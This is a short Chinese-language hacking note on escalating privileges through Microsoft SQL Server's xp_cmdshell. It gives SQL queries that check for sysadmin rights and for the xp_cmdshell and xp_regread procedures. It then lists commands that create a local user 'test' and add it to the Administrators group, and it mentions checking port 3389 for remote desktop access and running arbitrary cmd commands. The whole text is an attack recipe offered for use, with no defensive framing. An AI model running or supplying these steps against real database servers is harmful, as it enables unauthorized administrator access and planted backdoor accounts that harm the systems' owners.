[提权禁区] SQL语句利用xp_cmdshell获取权限
判断权限是不是sa
select is_srvrolemember('sysadmin')
返回是1说明是sa
判断xp_cmdshell扩展存储是否存在
select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
返回为l则证明存在
判断xp_regread扩展存储过程是否存在
select count(*) from master.dbo.sysobjects where name='xp_regread'
返回1证明存在
添加用户
exec master..xp_cmdshell 'net user test test /add'
exec master..xp_cmdshell 'net localgroup administrators test /add'
后来就是查看3389端口了,
exec master..xp_cmdshell 'XXXXX'里面输入cmd命令就是了
